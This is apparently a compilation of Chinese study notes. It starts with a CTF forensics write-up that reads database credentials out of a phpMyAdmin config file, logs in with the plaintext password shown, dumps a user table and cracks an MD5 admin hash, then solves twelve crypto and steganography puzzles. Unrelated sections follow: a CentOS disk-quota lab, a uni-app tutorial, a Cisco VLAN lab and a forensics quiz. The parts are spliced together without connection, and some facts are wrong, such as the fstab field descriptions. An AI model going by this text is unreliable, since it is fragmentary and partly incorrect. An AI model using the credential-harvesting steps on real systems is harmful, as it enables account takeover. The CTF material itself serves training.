登陆进去数据库里面竟然没东西，那么我们看看数据库账号密码，在终端登录看看吧

通过一顿操作，127.0.0.1.log中也能找到（1）（3）（6）答案

查看access.log发现该网站搭建数据库使用了phpmyadmin，那我们直接去找配置文件config.inc.php就可以

命令：find / -name config.inc.php

命令：cat /www/wwwroot/127.0.0.1/lib/config.inc.php，找到数据库账号密码

登录数据库，命令mysql -ukaoshi -p5Sx8mK5ieyLPb84m

mysql数据库操作命令不多说

show databases;

use kashi;

show tables;

select * from x2_user;

| peadmin | 958074@163.com | f6f6eb5ace977d7e114377cc7098b7e3 |得到管理员账号密码

密码加密了，32×4固定长度128位，猜测md5

解码得到：管理员密码（问题2）：（2）Network@2020

Game-1

1

-.--/---/..-/.--/../-.

可以判断为摩斯密码，摩斯密码破解

Game-2

判断为二维码修复

找到一张普通的二维码

​用ps修复

​

​扫描得出flag{62d0cbb2c69133b52f386701726f29c1}

Game-3

base64解码Base64 编码/解码 - 在线工具 (toolhelper.cn)

直接提交是错识误的，题中说”错误的md5”，一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串，所以把里面的唯一可能有问题的字符修改一下提交，o -> 0

Game-4

推断出为盲文，对照表，flag为ikanxue

Game-5

打开之后显示不正常，可能为零宽度字符隐写

零宽度字符是一些不可见、不可打印的字符，在页面中用于调整字符的显示格式。零宽度字符本质上是unicode编码。

零宽度字符隐写：需要加密的内容转换为二进制，然后将二进制转换成一系列的零宽度字符，这样加密的内容就被隐藏了（普通文本编辑器不显示零宽度字符）。

常见零宽度字符

　　U+200B：零宽度空格

　　U+200C：零宽度非连接符

　　U+200D：零宽度非连接符

　　U+200E：从左到右书写标记

　　U+200F：从右到左书写标记

打开虚拟机linux，用vim打开文件

1
2
3

看雪学院(<200c><200c><200c><200c><200d><202c><200d><202c><200c><200c><200c><200c><200d><202c><feff><200c><200c><200c><200c><200c><200d><202c><200c><200d>kanxue<200c><200c><200c><200c><200d><202c><200d><feff>.<200c><200c><200c><200c><200d><feff><202c><feff><200c><200c><200c><200c><200c><feff><200d><202c><200c><200c><200c><200c><200d><202c><200c><200d>com<200c><200c><200c><200c><200d><202c><200d><202c>)<200c><200c><200c><200c><200c><feff><202c><200d><200c><200c><200c><200c><200c><feff><200d><feff><200c><200c><200c><200c><200c><feff><200c><200d><200c><200c><200c><200c><200d><202c><200c><200d><200c><200c><200c><200c><200c><feff><200d><200c><200c><200c><200c><200c><200c><feff><200c><202c><200c><200c><200c><200c><200c><feff><200d><feff><200c><200c><200c><200c><200c><feff><202c><200c>，<200c><200c><200c><200c><200c><feff><200c><202c><200c><200c><200c><200c><200c><feff><200c><200d><200c><200c><200c><200c><200c><feff><200c><200d><200c><200c><200c><200c><200c><feff><200d><200d><200c><200c><200c><200c><200d><202c><200c><200d><200c><200c><200c><200c><200c><feff><200d><200d>是一个专注于<200c><200c><200c><200c><200c><feff><202c><200d>PC、移动、<200c><200c><200c><200c><200c><feff><200d><200c>智能设备安全研究及逆向工程的开发者社区！成立于<200c><200c><200c><200c><200d><202c><200c><202c>2000<200c><200c><200c><200c><200d><202c><200c><200d><200c><200c><200c><200c><200c><feff><200c><202c>年，<200c><200c><200c><200c><200c><feff><200c><feff><200c><200c><200c><200c><200c><feff><200c><200d>经历了二十年的磨砺<200c><200c><200c><200c><200c><feff><202c><200c><200c><200c><200c><200c><200d><202c><200c><feff>，<200c><200c><200c><200c><200c><feff><200c><200c><200c><200c><200c><200c><200c><feff><200d><200c>见证了国内安全行业的发展<200c><200c><200c><200c><200c><feff><200c><200d>，<200c><200c><200c><200c><200c><feff><200d><feff>被誉为安全界的黄埔军校<200c><200c><200c><200c><200d><202c><200c><200d><200c><200c><200c><200c><200d><202c><200d><200c><200c><200c><200c><200c><200d><feff><feff><200d>。它是中国最早的安全人员交
流学习社区，通过二十年的发展在行业内树立了令人尊敬的专业形象。
~        

勾选对应字符编码

把文本复制到http://330k.github.io/misc_tools/unicode_steganography.html，点击“decode”，即可得到加密的信息。flag{6af971a42782115a594ba2318c0417ad}

Game-6

下载，打开为二进制数字

8个为一组，在线二进制转文本工具 - UU在线工具 (uutool.cn)

iodj{7115i261eig7i42d5fg7412fh86ded7h}

为凯撒密码加密结果，在线凯撒密码加密解密 (lddgo.net) ，依次测试偏移量，flag{7115f261bfd7f42a5cd7412ce86aba7e}

Game-7

下载文本文件，根据提示想到栅栏密码，栅栏密码有传统形和W型，这个是W型，110米要跨10个栏

栅栏加密/解密 - Bugku CTF

ZmxhZ3s1YzI3N2E0MzUxNzIzMWJiMWZlY2U4NzIzZDJkNjU2OX0=

再经过base64解密

得到：flag{5c277a43517231bb1fece8723d2d6569}

Game-8

猜测这是一道逆向题

首先要使用工具判断软件版本以及是否有壳。

查壳工具 Exeinfo PE 0.0.8.3 集成插件单文件汉化版

Exeinfo PE 0.0.8.3.exe - 蓝奏云 (lanzouw.com)

发现是32位程序，没有加壳

然后进行反汇编

官网下载IDA

用ida打开winxor.exe文件找到main函数，按tab或者f5查看源代码，发现flag

双击check函数查看

对比a1是Buffer也就是要输入的答案，a2是flag变量，a3是38

对比ascll编码表0x31是1，双击flag查看flag中的内容，根据循环判断38次运算，为38个编码

往下数38个

1
2
3
4
5
6

string=[0x57,0x5D,0x50,0x56,0x4A,0x3,0x53,0x4,0x53,0x8,0x54,0x9,0x4,0x0,0x54,0x50,0x6,0x3,0x3,0x8,0x4,0x2,0x8,0x54,0x5,0x2,0x54,0x3,0x7,0x9,0x8,0x5,0x52,0x5,0x3,0x0,0x1,0x4C ]
result=''
for i in string:
        result += chr(i ^ 0x31)

print(result)

对照代码flag内容与1进行异或得出最终结果：flag{2b5b9e851ea7229539e43e26894c4210}

Game-9

文件为png图片文件，先用010查是否隐写010Editor Professional 14 (十六进制编辑器）

010 Editor 注册码_010editor 注册码-CSDN博客

一个 PNG 文件格式为：

1

文件头（89 50 4E 47 0D 0A 1A 0A） + 数据块 + 数据块 + 数据块…… + 文件尾（00 00 00 00 49 45 4E 44 AE 42 60 82）

PNG 定义了两种类型的数据块，一种是称为关键数据块，这是标准的数据块，另一种叫做辅助数据块，这是可选的数据块。关键数据块定义了4个标准数据块，每个 PNG 文件都必须包含它们。

每个数据块都有着统一的结构，由 4 个部分组成：

IHDR（文件头数据块）

第一块是文件头数据块（IHDR），它由第11——32字节组成（从0开始），包含有 PNG 文件中存储的图像数据的基本信息，数据从第 16字节开始，有13个字节，其前8字节分别用4个字节规定了图片的宽和高（十六进制，以像素为单位）。

IDAT（图像数据块）

它存储实际的数据，在数据流中可包含多个连续顺序的图像数据块。它采用 LZ77 算法的派生算法进行压缩，可以用 zlib 解压缩。

IHDR 篡改图片宽高

IHDR 的前8字节规定了图片的宽和高，我们可以用十六进位文件编辑器更改它们以使得这张图片显示不完整，从而达到隐藏信息的目的。此时它的图片数据并没有变，在Windows图片查看器中超过规定的图片宽高的部分只是不显示了。

LSB 隐写

PNG 文件中的图像像数一般是由 RGB 三原色（红绿蓝）组成（有的图片还包含A通道表示透明度），每一种颜色占用8位，取值范围为0x00至0xFF。LSB 隐写就是修改 RGB 颜色分量的最低二进制位（LSB），它修改了每个像数颜色的最低的1 bit，而人类的眼睛不会注意到这前后的变化，这样每个像素可以携带3比特的信息。

如果是要寻找这种 LSB 隐藏痕迹的话，有一个工具 Stegsolve 是个神器，可以来辅助我们进行分析。通过下方的按钮观察每个通道的信息，我们可以捕捉异常点，抓住 LSB 隐写的蛛丝马迹（这玩意儿很难说，一般就是一看就感觉奇怪的n行或n列颜色块），进而利用 Stegsolve –> Analyse –> Data Extract 功能指定通道进行提取。

对于PNG和BMP文件中的 LSB 等常见的隐写方式，我们也可以使用 zsteg 工具直接进行自动化的识别和提取。

从0开始学杂项 第三期：隐写分析(2) PNG图片隐写 - 知乎 (zhihu.com)

简单查看图片没有被隐写，打开图片

图片名称位wakanda，浏览器搜索wakanda，找到瓦坎达文字对照表

对照表得出YOUGOTIT

Game-10

判断为幂数加密（云影加密）01248密码，该加密法采用0作间隔，其他非0数隔开后组合起来相加表示序号1-26之一的字母

821010841088421108841022104084210884021084210841

python代码快速解密：

1
2
3
4
5
6
7
8
9
10

a = "821010841088421108841022104084210884021084210841"
a = a.split("0")
flag = ''
for i in range(0, len(a)):
    str = a[i]
    sum = 0
    for i in str:
        sum += int(i)
    flag += chr(sum + 64)
print(flag)

kamxuedotcom直接提交还是不对，“看”的拼音不对，就把M改为N，提交正确flag{kanxuedotcom}

Game-11

还需要密码吗？看题目想到伪加密

用010打开，修改压缩文件加密标志位为00，保存后就没有密码了

flag{d9ae4d859de9b941af40f91f69b13f31}

Game-12

zip伪加密原理

50 4B 03 04：头文件标记（0x04034b50）4bytes

14 00：加压文件所需pkware版本 2bytes

00 00：全局方式位标记（有无加密） 2bytes 09 00

08 00：压缩方式 2bytes

B7 8B：最后修改文件时间 2bytes

88 55：最后修改文件日期 2bytes

ED 2C BE 32：CRC-32校验 4bytes

28 00 00 00：压缩后尺寸 4bytes

26 00 00 00：未压缩尺寸 4bytes

08 00：文件名长度 2bytes

00 00：扩展记录长度 2bytes

zip伪加密原理及操作_zip加密原理-CSDN博客

描述磁盘分区设计的过程，包括创建主分区、扩展分区和逻辑分区的步骤。

说明配额管理工具的安装和配置方法，以及如何设置用户配额和监控配额使用情况。

记录模拟用户操作的过程和结果，包括达到配额限制时系统的响应。

分析实验中遇到的问题和解决方法，总结实验经验。

二、实验器材

Vmware虚拟机、Centos7

三、实验过程

磁盘分区设计：

1. 对磁盘进行分区操作。创建主分区和扩展分区，并将扩展分区转换为逻辑分区。设计合理的分区大小和数量，满足存储需求。

   在CentOS 7中，您可以通过以下步骤创建主分区和扩展分区，然后将扩展分区转换为逻辑分区：

   （1）添加硬盘

   

   

   （2）查看磁盘分区情况

   fdisk -l

   

   （3）创建主分区和扩展分区

   ①　sudo fdisk /dev/sdb（这里的 sdX 是您要操作的磁盘，例如 sda）

   

   ②　在 fdisk 中，按下 n 创建新分区，选择 p 创建主分区，然后按照提示设置主分区的大小和位置。

   

   ③　接着按下 n 创建新分区，选择 e 创建扩展分区。扩展分区将占据主分区之后的空间。

   

   ④　最后按下 w 保存分区表并退出 fdisk。

   （4）将扩展分区转换为逻辑分区

   ①　sudo fdisk /dev/sdb2

   

   ②　接着按下 n 创建新分区，选择 l 创建逻辑分区。扩展分区将占据扩展分区的空间。

   

   ③　输入 t 来更改分区的系统标识符。

   

   ④　输入 l 查看可用的系统标识符列表。

   ⑤　选择合适的系统标识符来转换扩展分区为逻辑分区。通常，逻辑分区的系统标识符是 8e（Linux LVM）。

   

   

   ⑥　输入 w 保存更改并退出 fdisk。

   

   ⑦　重新加载分区表：sudo partprobe

   

   ⑧　sudo fdisk -l 查看分区情况

   

磁盘配额管理：

1. 创建用户xiaohao1与组xiaohao1

   groupadd xiaohao

   useradd xiaohao1

   usermo -g xiaohao xiaohao1

   chmod 777 /home/xiaohao1

   chown -R xiaohao1 /home/xiaohao1

   

2. 查看已挂载的磁盘文件系统

   df -Th

   

3. 设置文件系统：

   以设置文件系统为“ext3”为例：mkfs.ext3 /dev/sdb5

   

4. 挂在sdb5 /home/xiaohao1/：mount /dev/sdb5 /home/xiaohao1

   

   

5. 安装并配置quota工具。（配置好Yum源）

   sudo yum install quota -y

   

6. 配置系统的磁盘配额支持：vim /etc/fstab

   添加

   /dev/sdb5 /home/xiaohao1 ext3 defaults,usrquota 1 2

   LABEL=/ / ext2 defaults,usrquota,grpquota 1 1

   example:quotacheck / ; quotacheck/home

   

   说明：/etc/fstab文件的每一行由六个字段组成：

   第一个字段：文件系统（分区）的注释（类似卷标）；

   第二个字段：文件系统的装载点；

   第三个字段：文件系统类型（磁盘配额只能在ext2文件系统上实现）；

   第四个字段：装载文件系统是使用的选项，如果只想实现基于用户的磁盘配额，就加入usrquota关键字，只想实现基于组的磁盘配额，就加入grpqouta关键字，如果两者都需要，就全写入，中间可以用逗号分隔。

   第五个字段：表明该文件系统（分区）是否为只读，如果是0就表示只读，1表示可以读写。

   第六个字段：表示系统启动执行fsck时检查的顺序。

7. 执行磁盘配命令报错sudo edquota -u xiaohao1

   

   解释：aquota.group与aqouta.user分别是组以及用户磁盘配额需要的配置文件。如果没有这两个文件，则磁盘配额是不会生效的。

   命令:quotacheck -augv

   

   quota -av #开启所有的配额，重新配置配额信息后，需要开启配额，否则不生效

   quotaon -vug /home/xiaohao1 启用配额

   quotaoff -vug /home/xiaohao1 #关闭配额（注意不可以对根分区和root用户进行限制）

   ​#fstab下的记录

   ​/dev/sda5 /home/xiaohao1 ext4 defaults,usrquota,grpquota 0 0

   ​mount -a #fstab使生效

8. 编辑用户的磁盘配额配置：sudo edquota -u xiaohao1

   

   这表示xiaohao1用户在/dev/sda5分区（该分区已经在usrquota的控制之下）中迄今使用了0个数据块（以K为单位），并且没有设限制（包括软限制soft和硬限制hard），同样，xiaohao1在这个分区也没有任何文件和目录，并且也没有任何软硬限制。如果，我们想对用户进行磁盘容量的限制的话，只需要修改blocks行的limits部分就可以了，注意单位使用的是K。例如要为xiaohao1分配400M磁盘的软限制，500M硬限制，可以使用如下的设置：

   

   同样的，要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。

9. 实际上，以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话，还需要对用户的软限制设定宽限期，缺省的软限制的宽限期是无穷，这可以使用edquota命令的-t选项来实现。运行下面的命令：edquota -t

   

10. 监控配额使用情况：repquota -a只显示root

    

11. 但是用户xiaohao1设置可生效如下：

    quota -v xiaohao1

    

    repquota -av

    

12. 配额测试

    su xiaohao1

    touch 1 2 3 4 5 6 7

    touch 8

    显示：

    

    dd if=/dev/zero of=files4 bs=450M count=1

    dd if=/dev/zero of=files5 bs=450M count=1

    显示：

    

    su root

    查看磁盘配额：repquota -av

    

    发现创建不了超过硬限制的文件，不管是数量还是大小

    注意事项：

    硬限制（hard limit）是用户或用户组的绝对最大限制。一旦达到硬限制，用户将无法再向磁盘写入数据。

    软限制（soft limit）是一个警告阈值。当用户的磁盘使用量达到软限制时，系统会发送警告，但用户仍然可以继续写入数据，直到达到硬限制为止。

    1. 监控配额使用情况，定期生成配额使用报告。
    2. 模拟用户操作，测试配额限制执行的效果，包括达到硬限制和软限制时的系统响应。

1. 创建uni-app

2. 运行uni-app

3. 发布uni-app

   3.1 打包为原生App

   3.2 发布为Web网站

   3.3 发布为小程序

   3.4 发布为微信小程序：

   3.5 发布为百度小程序：

   3.6 发布为支付宝小程序：

   3.7 发布为抖音小程序：

可视化的方式比较简单，HBuilderX内置相关环境，开箱即用，无需配置nodejs。

开始之前，开发者需先下载安装如下工具：

• HBuilderX：官方IDE下载地址

HBuilderX是通用的前端开发工具，但为uni-app做了特别强化。

1.创建uni-app

在点击工具栏里的文件 -> 新建 -> 项目（快捷键Ctrl+N）：

选择uni-app类型，输入工程名，选择模板，点击创建，即可成功创建。

uni-app自带的模板有 默认的空项目模板、Hello uni-app 官方组件和API示例，还有一个重要模板是 uni ui项目模板，日常开发推荐使用该模板，已内置大量常用组件。

开发者也可以使用cli方式创建项目，另见文档 。

差别是：HBuilderX创建的项目根目录就是源码，可直接编辑。uni-app的编译器在HBuilderX的插件目录下，跟随HBuilderX升级而一起升级。

如果开发者习惯于node模式的项目，对HBuilderX可视化方式感到困惑，可另行参考文档：## cli创建项目和HBuilderX可视化界面创建项目的区别

2.运行uni-app

1. 浏览器运行：进入hello-uniapp项目，点击工具栏的运行 -> 运行到浏览器 -> 选择浏览器，即可体验 uni-app 的 web 版。

   

   

   

2. 运行App到手机或模拟器：使用电压足够的usb端口连接手机，设置中开启USB调试，手机上允许电脑设备调试手机，进入hello-uniapp项目，点击工具栏的运行 -> 运行App到手机或模拟器，即可在该设备里面体验uni-app。

   

   

   

   

   注意事项：

   1. 数据线连电脑
   2. 打开开发者模式
   3. 打开USB调试
   4. 打开USB安装

3. 在微信开发者工具里运行：进入hello-uniapp项目，点击工具栏的运行 -> 运行到小程序模拟器 -> 微信开发者工具，即可在微信开发者工具里面体验uni-app。

   

   注意：如果是第一次使用，需要先配置小程序ide的相关路径，才能运行成功。如下图，需在输入框输入微信开发者工具的安装路径。

   

4. 在支付宝小程序开发者工具里运行：进入hello-uniapp项目，点击工具栏的运行 -> 运行到小程序模拟器 -> 支付宝小程序开发者工具，即可在支付宝小程序开发者工具里面体验uni-app。

   

5. 在百度、抖音、QQ、快应用（分联盟和华为）、快手、飞书、360、京东等小程序开发工具里运行：内容同上，不再重复。

6. Tips

   • 如果是第一次使用，需要配置开发工具的相关路径。点击工具栏的运行 -> 运行到小程序模拟器 -> 运行设置，配置相应小程序开发者工具的路径。
   • 微信小程序工具需要配置允许权限，不然HBuilder无法调用微信小程序开发工具的命令行
   • 支付宝/百度/抖音/360小程序工具，不支持直接指定项目启动并运行。因此开发工具启动后，请将 HBuilderX 控制台中提示的项目路径，在相应小程序开发者工具中打开。
   • 如果自动启动小程序开发工具失败，请手动启动小程序开发工具并将 HBuilderX 控制台提示的项目路径，打开项目。

   运行的快捷键是Ctrl+R。

   HBuilderX 还提供了快捷运行菜单，可以按数字快速选择要运行的设备：

   

3.发布uni-app

3.1 打包为原生App

在HBuilderX工具栏，点击发行，选择原生app-云端打包，如下图：

出现如下界面，点击打包即可。

注意：

解决：

基本资料绑定手机号

3.2 发布为Web网站

1. 在 manifest.json 的可视化界面，进行如下配置（发行在网站根目录可不配置应用基本路径），此时发行网站路径是 www.xxx.com/h5，如：[https://hellouniapp.dcloud.net.cn](https://hellouniapp.dcloud.net.cn/)

未完待定……

为什么要选择uni-app？

功能框架图

一套代码，运行到多个平台

介绍

1. uni-app 是一个使用 Vue.js 开发所有前端应用的框架，开发者编写一套代码，可发布到iOS、Android、Web（响应式）、以及各种小程序（微信/支付宝/百度/头条/飞书/QQ/快手/钉钉/淘宝）、快应用等多个平台。

2. DCloud公司拥有900万开发者、数百万应用、12亿手机端月活用户、数千款uni-app插件、70+微信/qq群。阿里小程序工具官方内置uni-app（详见 ），腾讯课堂官方为uni-app录制培训课程（详见 ），开发者可以放心选择。

3. uni-app在手，做啥都不愁。即使不跨端，uni-app也是更好的小程序开发框架（详见 ）、更好的App跨平台框架、更方便的H5开发框架。不管领导安排什么样的项目，你都可以快速交付，不需要转换开发思维、不需要更改开发习惯。

uni-app官网 (dcloud.net.cn)

为什么要选择uni-app？

uni-app`在开发者数量、案例、跨端抹平度、扩展灵活性、性能体验、周边生态、学习成本、开发成本等8大关键指标上拥有更强的优势。

1.开发者/案例数量更多

数百万应用、uni统计月活12亿、70+微信/qq群、更高的百度指数

跨端完善度更高，真正落地的提高生产力

2.平台能力不受限

在跨端的同时，通过条件编译+平台特有API调用，可以优雅的为某平台写个性化代码，调用专有能力而不影响其他平台。

支持原生代码混写和原生sdk集成。

3.性能体验优秀

加载新页面速度更快、自动diff更新数据。

App端支持原生渲染，可支撑更流畅的用户体验。

小程序端的性能优于市场其他框架。评测

4.周边生态丰富

插件市场 数千款插件。

支持NPM、支持小程序组件和SDK。

微信生态的各种sdk可直接用于跨平台App。

5.学习成本低

基于通用的前端技术栈，采用vue语法+微信小程序api，无额外学习成本

6.开发成本低

不止开发成本，招聘、管理、测试各方面成本都大幅下降。

HBuilderX是高效开发神器，熟练掌握后研发效率至少翻倍（即便只开发一个平台）。

功能框架图

从下面uni-app功能框架图可看出，uni-app在跨平台的过程中，不牺牲平台特色，可优雅的调用平台专有能力，真正做到海纳百川、各取所长。

一套代码，运行到多个平台

uni-app实现了一套代码，同时运行到多个平台；如下图所示，一套代码，同时运行到iOS模拟器、Android模拟器、web、微信开发者工具、支付宝小程序Studio、百度开发者工具、抖音开发者工具、QQ开发者工具（底部每个终端选项卡，代表1个终端模拟器）：

实际运行效果如下（点击图片可放大）：

1. 西京科技学校网络由一台三层交换机作为核心，下边有3个学院，学院A有网络用户37人，学院B有网络用户56人，学院C有49人。学校出口有路由器RA一台，外边连接另外一台互联网路由器RB，路由器RB下连接有Web网络服务器192.168.255.254。

2. 建立符合网络需求的VLAN并分配到交换机的端口下，学院A和学院B在同一台二层交换机下，学院C在三层交换机单独端口下。每个学院下各模拟一个用户。要求三个用户之间能够互相通信。从三层交换机到互联网Web服务器之间的路由信息自行设计配置实现，并在Web服务器上开启Web服务，界面上输入自己的姓名全拼，最终实现在客户PC上能够访问Web服务器。

二、实验器材

PC-PT（主机）3台，用来模拟三个学院

二层交换机 1台 2960

三层交换机 1台 3560

路由器 2台 Router-PT

服务器 1台 Server-PT

三、拓扑图

四、配置流程

1. 配置PC以及服务器

**2. 二层交换机设置，vlan2-学院A，vlan3-学院B，vlan4-学院C **

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Switch>en
Switch#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#vlan 2
Switch(config-vlan)#exit 
Switch(config)#vlan 3
Switch(config-vlan)#exit 
Switch(config)#interface fastEthernet 0/1
Switch(config-if)#switchport access vlan 2
Switch(config-if)#exit 
Switch(config)#interface fastEthernet 0/2
Switch(config-if)#switchport access vlan 3
Switch(config-if)#exit 
Switch(config)#interface fastEthernet 0/3
Switch(config-if)#switchport mode trunk 
Switch(config-if)#exit 

3. 三层交换机设置，绑定vlan的网关IP，开启三层交换机的静态路由，截止到目前A,B,C可以ping通，开启三层路由后配置Fa0/2的ip地址并且配置静态路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

Switch>en
Switch#conf t
Switch(config)#vlan 2
Switch(config-vlan)#exit 
Switch(config)#vlan 3
Switch(config-vlan)#exit 
Switch(config)#vlan 4
Switch(config-vlan)#exit 
Switch(config)#interface fastEthernet 0/3
Switch(config-if)#switchport trunk encapsulation dot1q //trunk协议封装为dot1q 
Switch(config-if)#switchport mode trunk //端口模式为trunk
Switch(config-if)#exit 
Switch(config)#interface fastEthernet 0/1
Switch(config-if)#switchport access vlan 4
Switch(config-if)#exit 
Switch(config)#int vlan 2
Switch(config-if)#ip address 192.168.1.1 255.255.255.0
Switch(config-if)#exit 
Switch(config)#interface vlan 3
Switch(config-if)#ip address 192.168.2.1 255.255.255.0
Switch(config-if)#exit 
Switch(config)#ip routing
Switch(config)#int vlan 4
Switch(config-if)#ip address 192.168.3.1 255.255.255.0
Switch(config-if)#exit 
Switch(config)#ip routing
Switch(config)#int fastEthernet 0/2
Switch(config-if)#no switchport 
Switch(config-if)#ip address 192.168.4.1 255.255.255.0
Switch(config-if)#no shutdown
Switch(config-if)#exit 
Switch(config)#ip route 0.0.0.0 0.0.0.0 192.168.4.2

**4. 对路由器RA和RB配置端口IP，配置静态路由，以及配置时钟频率 **

RA：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

Router>enable
Router#config terminal 
Router(config)#interface fastEthernet 1/0
Router(config-if)#no shutdown
Router(config-if)#exit 
Router(config)#interface fastEthernet 1/0
Router(config-if)#ip address 192.168.4.2 255.255.255.0
Router(config-if)#exit 
Router(config)#ip route 0.0.0.0 0.0.0.0 192.168.4.1
Router(config)#interface serial 2/0
Router(config-if)#ip address 192.168.5.1 255.255.255.0
Router(config-if)#clock rate 64000
This command applies only to DCE interfaces
Router(config-if)#no shutdown 
Router(config)#end

RB:

1
2
3
4
5
6
7
8
9
10
11
12
13

Router>en
Router#conf t
Router(config)#int serial 2/0
Router(config-if)#ip address 192.168.5.2 255.255.255.0
Router(config-if)#no shutdown
Router(config-if)#exit
Router(config)#ip route 0.0.0.0 0.0.0.0 192.168.5.1
Router(config)#interface serial 2/0
Router(config-if)#clock rate 64000
Router(config-if)#exit 
Router(config)#interface fastEthernet 0/0
Router(config-if)#ip address 192.168.255.1 255.255.255.0
Router(config-if)#no shutdown 

5. 服务器开HTTP服务

6. 验证测试

ping测试

A ping B

A ping C

服务器：

单选

计算机取证是将计算机调查和分析技术应⽤于对潜在的，有法律效⼒的证据的确定与提取。以下关于计算机取证的描述中，错误的是（ ）。

A.计算机取证包括保护⽬标计算机系统、确定收集和保存电⼦证据，必须在开机的状态下进⾏

B.计算机取证围绕电⼦证据进⾏,电⼦证据具有⾼科技性、⽆形性和易破坏性等特点

C.计算机取证包括对以磁介质编码信息⽅式存储的计算机证据的保护、确认、提取和归档

D.计算机取证是⼀⻔在犯罪进⾏过程中或之后收集证据的技术

答案：A

计算机取证的合法原则是:（）

A.计算机取证的⽬的是获取证据，因此⾸先必须确保证据获取再履⾏相关法律⼿续

B.计算机取证在任何时候都必须保证符合相关法律法规

C.计算机取证只能由执法机构才能执⾏，以确保其合法性

D.计算机取证必须获得执法机关的授权才可进⾏以确保合法性原则

答案：B

计算机取证的合法原则不包括（）

A 主体合法：合法调查⼈员、具有法定资格、“有案在册”的计算机取证专家

B 对象合法：只有被怀疑与案件事实有关联的信息，才能作为被取证调查的对象；调查取证时，电⼦设备的所有⼈、权利⼈应该在场

C ⼿段合法：符合技术操作规范，使⽤的⼯具和程序必须通过国家有关主管部⻔的评测

D 时间合法：应在适当的时间取证，计算机取证的合法原则包括：主题合法、对象合法、⼿段合法、过程合法

答案：D

E01 是取证分析⼯具 EnCase 的⼀个证据⽂件格式，⽂件的每个字节都经过 32 位的（）校验，这使得证据被篡改的可能性⼏乎为 0

A CRC 算法

B MD5 算法

C SHA-1 算法

D SHA-2 算法

答案：A

数据克隆是计算机证据固定和保全的三⼤技术之⼀，下⾯有关数据克隆的描述，不正确的是。

A. ⼀种“位对位”全盘镜像，将源盘信息按位 1：1 复制，但删除的⽂件⽆法克隆

B.在除了磁盘中的数据，还包括删除的⽂件、未分配空间、打印缓冲区、数据残留共和⽂件碎⽚等

C.在使⽤数据克隆设备进⾏克隆时，⾃动⽣成⽇志和指纹，实现检材的完整性

D.在进⾏数据克隆时，⼀般⽀持⽬标盘⾃动擦除、坏扇区智能处理，并可按数据块进⾏指纹验证克隆检材硬盘中的内容会在克隆硬盘中完全反应出来，不会丢失、遗漏、也不会被修改，包括被删除的⽂件、未分配空间、打印缓冲区、数据残留区和⽂件碎⽚等。

答案：A

FAT ⽂件系统中，当⽤户 按 Shift+Del 删除该⽂件后， 以下描述正确的是？

A ⽂件已经彻底从硬盘中删除

B ⽂件已删除， 但⽂件内容⾸字节被改为⼗六进制 E5

C 还在回收站中， 可⽤取证⼤师恢复

D ⽂件已删除， 但是数据还在， ⽬录项⾸字节被改为⼗六进制 E5

答案：D

Linux 系统中常⻅的⽂件系统是（）

A Ext2/Ext3/Ext4

B NTFS

C FAT32

D CDFS

答案：A

MBR 扇区通常最后两个字节⼗六进制值为(编码次序不考虑)

A AA 11

B 11 FF

C 55 AA

D 66 BB

答案：C

Windows 记事本不能保存的⽂本编码为

A ANSI

B RTF

C Unicode

D UTF-8

答案：B

Windows 中的“剪贴板”是。

A ⼀个应⽤程序

B 磁盘上的⼀个⽂件

C 内存中的⼀个空间

D ⼀个专⽤⽂档

答案：C

第4/35⻚

下列 （）不是计算机证据的优点。

A 可被精确复制

B 容易鉴别证据原件和当前电⼦证据之间是否有变化或关联

C 完全销毁电⼦证据⽐较困难

D 容易取证和鉴定

答案：D

不属于简体中⽂编码的是

A Big5

B UFT-8

C Unicode

D GB2312

答案：A

操作系统以扇区（Sector） 形式将信息存储在硬盘上， 每个扇区包括（） 个字节的数据和⼀些其他信息。

A 64

B 32

C 58

D 512

答案：D

磁盘经过⾼级格式化后, 其表⾯形成多个不同半径的同⼼圆, 这些同⼼圆称为。

A 磁道

B 扇区

C 族

D 磁⾯

答案：A

断电会使原存信息消失的存储器是。

A RAM

B 硬盘

第5/35⻚

C ROM

D U 盘

答案：A

《刑法》第六章第 285、286、287 条对计算机犯罪的内容和量刑进⾏了

明确的规定，以下（）不是其中规定的罪⾏。

A ⾮法侵⼊计算机信息系统罪

B 破坏计算机信息系统罪

C 利⽤计算机实施犯罪

D 国家重要信息系统管理者玩忽职守罪

答案：D

关于 MBR 的描述， 错误的是（）

A MBR ⼜称主引导记录

B 分区表项存在 MBR 当中

C MBR 中分区表可以记录多于 4 个分区的信息

D MBR 中分区表有 64 字节⼤⼩

答案：C

关于 MD5 算法说法错误的是

A 哈希算法就是 MD5 算法

B MD5 算法可以⽤于验证数据的完整性

C MD5 算法是不可逆的

D MD5 算法可⽤于加密

答案：A

关于 NTFS ⽂件系统的描述， 错误的是

A NTFS ⽀持磁盘配额

B NTFS 也使⽤簇作为⽂件存储的最⼩分配单位

C NTFS 采⽤ MFT 表记录对象名称

D 删除⽂件时， 其实际数据被清除

答案：D

第6/35⻚

下⾯有关 Linux 取证的描述，（）是错误的。

A 在对内存和硬盘制作镜像前，⾸先⽤ mount 命令把设备挂载到某⼀⽬录

下

B 使⽤ who 命令可查看正在运⾏的进程及运⾏状态

C 使⽤ netstat 命令可使取证⼈员获知哪些⽹络连接正在运作，哪些服务或应⽤在哪些端⼝运⾏。

D /var/log/lastlog 是 Linux ⽇志⼦系统的关键⽂件，记录了最近成功登录的事件和最后⼀次不成功登录的事件

答案：B

⽊⻢的隐藏不包括（）

A.⽊⻢⽂件隐藏

B.⽊⻢⾃启动隐藏

C.⽊⻢通信隐藏

D.⽊⻢结果隐藏

答案：D

关于 SATA 的错误描述是

A SATA ⽀持串⾏数据传输

B SATA 不⽀持热插拔

C SATA 接⼝最⼤传输速率⽐ IDE 快

D 平展开的 SATA 数据线⽐平展开的 IDE 数据线更窄

答案：B

以下有关 EasyRecovery 的说法不正确的是（）

A. EasyRecovery 在恢复数据时并不向硬盘写任何东⻄，⽽是在内存中对

⽂件的 FAT 表和⽬录进⾏操作，避免因再次写硬盘⽽造成新的数据破坏。

B. 使⽤该软件时⼀定要注意将恢复出来的数据保存在其他的硬盘空间内。

